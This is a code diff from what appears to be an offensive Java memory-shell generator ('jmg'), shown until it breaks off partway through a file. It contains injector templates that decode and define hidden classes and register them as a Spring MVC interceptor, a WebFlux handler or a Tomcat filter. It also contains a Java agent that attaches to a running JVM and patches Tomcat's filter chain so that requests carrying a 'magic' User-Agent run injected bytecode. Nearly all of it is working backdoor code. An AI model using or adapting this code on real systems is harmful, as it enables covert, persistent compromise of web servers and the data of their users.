Method displayNameMethod = virtualMachineDescriptorClass.getMethod("displayName");
|
||||
String displayName = (String) displayNameMethod.invoke(vm);
|
||||
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
|
||||
String id = (String) getId.invoke(vm);
|
||||
infoLog(String.format("Found pid %s ——> [%s]", id, displayName));
|
||||
}
|
||||
}
|
||||
|
||||
private static void attachAgentToTargetJvm(String targetPID) throws Exception {
|
||||
String agentFilePath = new File(SpringMVCAgentTransformer.class.getProtectionDomain().getCodeSource().getLocation().getPath()).getCanonicalPath();
|
||||
infoLog("Current agent path: " + agentFilePath);
|
||||
File agentFile = new File(agentFilePath);
|
||||
String currentPid = getCurrentPID();
|
||||
if (targetPID.equals(currentPid)) {
|
||||
infoLog("Skipping attaching to self");
|
||||
} else {
|
||||
try {
|
||||
infoLog("Attaching to target JVM with PID: " + targetPID);
|
||||
Object jvm = virtualMachineClass.getMethod("attach", new Class[]{String.class}).invoke(null, targetPID);
|
||||
Method loadAgent = virtualMachineClass.getDeclaredMethod("loadAgent", String.class);
|
||||
loadAgent.invoke(jvm, agentFile.getAbsolutePath());
|
||||
Method detach = virtualMachineClass.getDeclaredMethod("detach");
|
||||
detach.invoke(jvm);
|
||||
successLog("Attached to target JVM and loaded agent successfully");
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static String getCurrentPID() {
|
||||
return ManagementFactory.getRuntimeMXBean().getName().split("@")[0];
|
||||
}
|
||||
|
||||
public static void infoLog(String message) {
|
||||
System.out.println("[*] " + message);
|
||||
}
|
||||
|
||||
public static void failLog(String message) {
|
||||
System.out.println("[-] " + message);
|
||||
}
|
||||
|
||||
public static void successLog(String message) {
|
||||
System.out.println("[+] " + message);
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,183 @@
|
||||
package jmg.core.template;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.LinkedHashSet;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
public class SpringMVCInterceptorInjectorTpl {
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "/*";
|
||||
}
|
||||
|
||||
|
||||
public String getClassName() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "";
|
||||
}
|
||||
|
||||
|
||||
public SpringMVCInterceptorInjectorTpl() throws Exception {
|
||||
Object context = getContext();
|
||||
Object interceptor = getInterceptor();
|
||||
addInterceptor(context, interceptor);
|
||||
|
||||
}
|
||||
|
||||
public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
Object context = null;
|
||||
try {
|
||||
Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
|
||||
Object httprequest = invokeMethod(requestAttributes, "getRequest");
|
||||
Object session = invokeMethod(httprequest, "getSession");
|
||||
Object servletContext = invokeMethod(session, "getServletContext");
|
||||
context = invokeMethod(classLoader.loadClass("org.springframework.web.context.support.WebApplicationContextUtils"), "getWebApplicationContext", new Class[]{classLoader.loadClass("javax.servlet.ServletContext")}, new Object[]{servletContext});
|
||||
} catch (Exception e) {
|
||||
}
|
||||
|
||||
if (context == null) {
|
||||
try {
|
||||
LinkedHashSet applicationContexts = (LinkedHashSet) getFV(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts");
|
||||
Object applicationContext = applicationContexts.iterator().next();
|
||||
if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) {
|
||||
context = applicationContext;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return context;
|
||||
}
|
||||
|
||||
private Object getInterceptor() throws Exception {
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
Object interceptor = null;
|
||||
try {
|
||||
interceptor = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
interceptor = clazz.newInstance();
|
||||
} catch (Throwable tt) {
|
||||
}
|
||||
}
|
||||
return interceptor;
|
||||
}
|
||||
|
||||
public void addInterceptor(Object context, Object interceptor) {
|
||||
try {
|
||||
Object abstractHandlerMapping = invokeMethod(context, "getBean", new Class[]{String.class}, new Object[]{"requestMappingHandlerMapping"});
|
||||
ArrayList<Object> adaptedInterceptors = (ArrayList<Object>) getFV(abstractHandlerMapping, "adaptedInterceptors");
|
||||
adaptedInterceptors.add(interceptor);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
synchronized void setFV(Object var0, String var1, Object val) throws Exception {
|
||||
getF(var0, var1).set(var0, val);
|
||||
}
|
||||
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
|
||||
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,185 @@
|
||||
package jmg.core.template;
|
||||
|
||||
import org.springframework.web.reactive.result.method.RequestMappingInfo;
|
||||
import org.springframework.web.server.ServerWebExchange;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.Collection;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* spring webflux + netty(default) -> spring RequestMappingHandlerMapping -> registerHandlerMethod
|
||||
*/
|
||||
public class SpringWebFluxHandlerMethodInjectorTpl {
|
||||
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "";
|
||||
}
|
||||
|
||||
public SpringWebFluxHandlerMethodInjectorTpl() {
|
||||
try {
|
||||
Object requestMappingHandlerMapping = getRequestMappingHandlerMapping();
|
||||
Object handlerMethod = getHandlerMethod();
|
||||
addHandlerMethod(requestMappingHandlerMapping, handlerMethod);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private Object getRequestMappingHandlerMapping() throws Exception {
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
Object requestMappingHandlerMapping = null;
|
||||
for (int i = 0; i < threads.length; i++) {
|
||||
try {
|
||||
Collection handlerMappings = (Collection) getFV(getFV(getFV(getFV(getFV(getFV(getFV(getFV(threads[i], "this$0"), "handler"), "httpHandler"), "delegate"), "delegate"), "delegate"), "delegate"), "handlerMappings");
|
||||
Object[] objects = handlerMappings.toArray();
|
||||
boolean flag = false;
|
||||
for (int j = 0; j < objects.length; j++) {
|
||||
if (objects[j].getClass().getName().contains("RequestMappingHandlerMapping")) {
|
||||
requestMappingHandlerMapping = objects[j];
|
||||
flag = true;
|
||||
}
|
||||
}
|
||||
if (flag) {
|
||||
return requestMappingHandlerMapping;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return requestMappingHandlerMapping;
|
||||
}
|
||||
|
||||
public void addHandlerMethod(Object obj, Object handler) {
|
||||
try {
|
||||
Method method = handler.getClass().getDeclaredMethod("invoke", ServerWebExchange.class);
|
||||
RequestMappingInfo requestMappingInfo = RequestMappingInfo.paths(getUrlPattern()).build();
|
||||
invokeMethod(obj, "registerHandlerMethod", new Class[]{Object.class, Method.class, RequestMappingInfo.class}, new Object[]{handler, method, requestMappingInfo});
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private Object getHandlerMethod() {
|
||||
Object handler = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
try {
|
||||
handler = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
handler = clazz.newInstance();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
|
||||
}
|
||||
return handler;
|
||||
}
|
||||
|
||||
|
||||
private static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
private static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
private static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
|
||||
private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
private static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,204 @@
|
||||
package jmg.core.template;
|
||||
|
||||
import javassist.ClassClassPath;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtMethod;
|
||||
|
||||
import java.io.File;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.InputStream;
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.IllegalClassFormatException;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.lang.instrument.UnmodifiableClassException;
|
||||
import java.lang.management.ManagementFactory;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.security.ProtectionDomain;
|
||||
import java.util.List;
|
||||
|
||||
public class TomcatAgentTransformer implements ClassFileTransformer {
|
||||
|
||||
public static final String targetClassName = "org.apache.catalina.core.ApplicationFilterChain";
|
||||
public static final String targetMethodName = "doFilter";
|
||||
public String injectHeaderName = "User-Agent";
|
||||
|
||||
public String injectHeaderValue = "magic";
|
||||
|
||||
public String getInjectorCode() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public static void agentmain(String args, Instrumentation instrumentation) throws UnmodifiableClassException {
|
||||
instrumentation.addTransformer(new TomcatAgentTransformer(), true);
|
||||
for (Class clz : instrumentation.getAllLoadedClasses()) {
|
||||
if (!clz.getName().equals(targetClassName)) continue;
|
||||
instrumentation.retransformClasses(clz);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
|
||||
className = className.replace("/", ".");
|
||||
if (className.equals(targetClassName) && classBeingRedefined != null) {
|
||||
try {
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
pool.insertClassPath(new ClassClassPath(classBeingRedefined));
|
||||
CtClass ctClass = pool.getCtClass(className);
|
||||
CtMethod ctMethod = ctClass.getDeclaredMethod(targetMethodName);
|
||||
String injectorCode = getInjectorCode();
|
||||
String code = String.format("if ($1 instanceof javax.servlet.http.HttpServletRequest && $2 instanceof javax.servlet.http.HttpServletResponse) {\n" +
|
||||
" javax.servlet.http.HttpServletRequest httpRequest = (javax.servlet.http.HttpServletRequest) $1;\n" +
|
||||
" javax.servlet.http.HttpServletResponse httpResponse = (javax.servlet.http.HttpServletResponse) $2;\n" +
|
||||
" try {\n" +
|
||||
" if (httpRequest.getHeader(\"%s\") != null && httpRequest.getHeader(\"%s\").contains(\"%s\")) {\n" +
|
||||
" String injectorCode = \"%s\";\n" +
|
||||
" byte[] byteArray;\n" +
|
||||
" try {\n" +
|
||||
" Class base64DecoderClazz = Class.forName(\"sun.misc.BASE64Decoder\");\n" +
|
||||
" byteArray = (byte[]) base64DecoderClazz.getMethod(\"decodeBuffer\", new Class[]{String.class}).invoke(base64DecoderClazz.newInstance(), new Object[]{injectorCode});\n" +
|
||||
" } catch (Throwable e) {\n" +
|
||||
" Class base64Clazz = Class.forName(\"java.util.Base64\");\n" +
|
||||
" Object decoder = base64Clazz.getMethod(\"getDecoder\", null).invoke(base64Clazz, null);\n" +
|
||||
" byteArray = (byte[]) base64Clazz.getMethod(\"decode\", new Class[]{byte[].class}).invoke(decoder, new Object[]{injectorCode});\n" +
|
||||
" }\n" +
|
||||
" java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader());\n" +
|
||||
" java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class});\n" +
|
||||
" method.setAccessible(true);\n" +
|
||||
" Class clazz = (Class) method.invoke(classLoader, new Object[]{byteArray, new Integer(0), new Integer(byteArray.length)});\n" +
|
||||
" clazz.newInstance();\n" +
|
||||
" }\n" +
|
||||
" } catch (Exception e) {\n" +
|
||||
" e.printStackTrace();\n" +
|
||||
" }\n" +
|
||||
"}", injectHeaderName, injectHeaderName, injectHeaderValue, injectorCode);
|
||||
ctMethod.insertBefore(code);
|
||||
byte[] bytes = ctClass.toBytecode();
|
||||
ctClass.detach();
|
||||
return bytes;
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return new byte[0];
|
||||
}
|
||||
}
|
||||
return new byte[0];
|
||||
}
|
||||
|
||||
private static Class virtualMachineClass;
|
||||
private static Class virtualMachineDescriptorClass;
|
||||
private static List<Object> vms;
|
||||
|
||||
static {
|
||||
try {
|
||||
// 获取 tools.jar 的路径
|
||||
StringBuilder toolsJarPath = new StringBuilder();
|
||||
toolsJarPath.append(System.getProperty("java.home"))
|
||||
.append(File.separator)
|
||||
.append("..")
|
||||
.append(File.separator)
|
||||
.append("lib")
|
||||
.append(File.separator)
|
||||
.append("tools.jar");
|
||||
File toolsJarFile = new File(toolsJarPath.toString());
|
||||
|
||||
// 如果 JDK 目录下没有找到 tools.jar(纯JRE)
|
||||
if (!toolsJarFile.exists() || !toolsJarFile.isFile()) {
|
||||
// 释放内置的 tools.jar
|
||||
InputStream jarStream = TomcatAgentTransformer.class.getClassLoader().getResourceAsStream("tools.jar");
|
||||
toolsJarFile = File.createTempFile("tools", ".jar");
|
||||
|
||||
FileOutputStream out = null;
|
||||
try {
|
||||
out = new FileOutputStream(toolsJarFile);
|
||||
byte[] buffer = new byte[1024];
|
||||
int bytesRead;
|
||||
while ((bytesRead = jarStream.read(buffer)) != -1) {
|
||||
out.write(buffer, 0, bytesRead);
|
||||
}
|
||||
} finally {
|
||||
if (out != null) {
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Load the VirtualMachine and VirtualMachineDescriptor classes
|
||||
URL url = toolsJarFile.toURI().toURL();
|
||||
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
|
||||
virtualMachineClass = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachine");
|
||||
virtualMachineDescriptorClass = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
|
||||
vms = (List) virtualMachineClass.getMethod("list").invoke(virtualMachineClass);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
String jvmProcessId = null;
|
||||
if (args.length == 0) {
|
||||
// 列出所有 pid
|
||||
listAllJvmPids();
|
||||
} else {
|
||||
try {
|
||||
Integer.parseInt(args[0]);
|
||||
jvmProcessId = args[0];
|
||||
attachAgentToTargetJvm(jvmProcessId);
|
||||
} catch (NumberFormatException e) {
|
||||
throw new IllegalArgumentException("Argument must be an integer representing a JVM process ID");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public static void listAllJvmPids() throws Exception {
|
||||
for (Object vm : vms) {
|
||||
Method displayNameMethod = virtualMachineDescriptorClass.getMethod("displayName");
|
||||
String displayName = (String) displayNameMethod.invoke(vm);
|
||||
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
|
||||
String id = (String) getId.invoke(vm);
|
||||
infoLog(String.format("Found pid %s ——> [%s]", id, displayName));
|
||||
}
|
||||
}
|
||||
|
||||
private static void attachAgentToTargetJvm(String targetPID) throws Exception {
|
||||
String agentFilePath = new File(TomcatAgentTransformer.class.getProtectionDomain().getCodeSource().getLocation().getPath()).getCanonicalPath();
|
||||
infoLog("Current agent path: " + agentFilePath);
|
||||
File agentFile = new File(agentFilePath);
|
||||
String currentPid = getCurrentPID();
|
||||
if (targetPID.equals(currentPid)) {
|
||||
infoLog("Skipping attaching to self");
|
||||
} else {
|
||||
try {
|
||||
infoLog("Attaching to target JVM with PID: " + targetPID);
|
||||
Object jvm = virtualMachineClass.getMethod("attach", new Class[]{String.class}).invoke(null, targetPID);
|
||||
Method loadAgent = virtualMachineClass.getDeclaredMethod("loadAgent", String.class);
|
||||
loadAgent.invoke(jvm, agentFile.getAbsolutePath());
|
||||
Method detach = virtualMachineClass.getDeclaredMethod("detach");
|
||||
detach.invoke(jvm);
|
||||
successLog("Attached to target JVM and loaded agent successfully");
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static String getCurrentPID() {
|
||||
return ManagementFactory.getRuntimeMXBean().getName().split("@")[0];
|
||||
}
|
||||
|
||||
public static void infoLog(String message) {
|
||||
System.out.println("[*] " + message);
|
||||
}
|
||||
|
||||
public static void failLog(String message) {
|
||||
System.out.println("[-] " + message);
|
||||
}
|
||||
|
||||
public static void successLog(String message) {
|
||||
System.out.println("[+] " + message);
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,294 @@
|
||||
package jmg.core.template;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* Date: 2022/11/01
|
||||
* Author: pen4uin
|
||||
* Description: Tomcat Filter 注入器
|
||||
* Tested version:
|
||||
* jdk v1.8.0_275
|
||||
* tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
|
||||
*/
|
||||
|
||||
public class TomcatFilterInjectorTpl {
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "/*";
|
||||
}
|
||||
|
||||
|
||||
public String getClassName() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "";
|
||||
}
|
||||
|
||||
static {
|
||||
new TomcatFilterInjectorTpl();
|
||||
}
|
||||
|
||||
public TomcatFilterInjectorTpl() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object filter = getFilter(context);
|
||||
addFilter(context, filter);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
Object context = null;
|
||||
try {
|
||||
for (Thread thread : threads) {
|
||||
// 适配 v5/v6/7/8
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
|
||||
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
|
||||
// 原: map.get("localhost")
|
||||
// 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败
|
||||
for (Object key : childrenMap.keySet()) {
|
||||
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
|
||||
// 原: context = children.get("");
|
||||
// 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败
|
||||
for (Object key1 : children.keySet()) {
|
||||
context = children.get(key1);
|
||||
if (context != null && context.getClass().getName().contains("StandardContext"))
|
||||
contexts.add(context);
|
||||
// 兼容 spring boot 2.x embedded tomcat
|
||||
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
}
|
||||
// 适配 tomcat v9
|
||||
else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
|
||||
context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context");
|
||||
if (context != null && context.getClass().getName().contains("StandardContext"))
|
||||
contexts.add(context);
|
||||
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
|
||||
private Object getFilter(Object context) {
|
||||
|
||||
Object filter = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
filter = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
filter = clazz.newInstance();
|
||||
} catch (Throwable tt) {
|
||||
}
|
||||
}
|
||||
return filter;
|
||||
}
|
||||
|
||||
public String getFilterName(String className) {
|
||||
if (className.contains(".")) {
|
||||
int lastDotIndex = className.lastIndexOf(".");
|
||||
return className.substring(lastDotIndex + 1);
|
||||
} else {
|
||||
return className;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public void addFilter(Object context, Object filter) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException {
|
||||
ClassLoader catalinaLoader = getCatalinaLoader();
|
||||
String filterClassName = getClassName();
|
||||
String filterName = getFilterName(filterClassName);
|
||||
Object filterDef;
|
||||
Object filterMap;
|
||||
|
||||
// 防止重复注入
|
||||
try {
|
||||
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterName}) != null) {
|
||||
return;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
|
||||
try {
|
||||
// tomcat v8/9
|
||||
filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
|
||||
filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
|
||||
} catch (Exception e2) {
|
||||
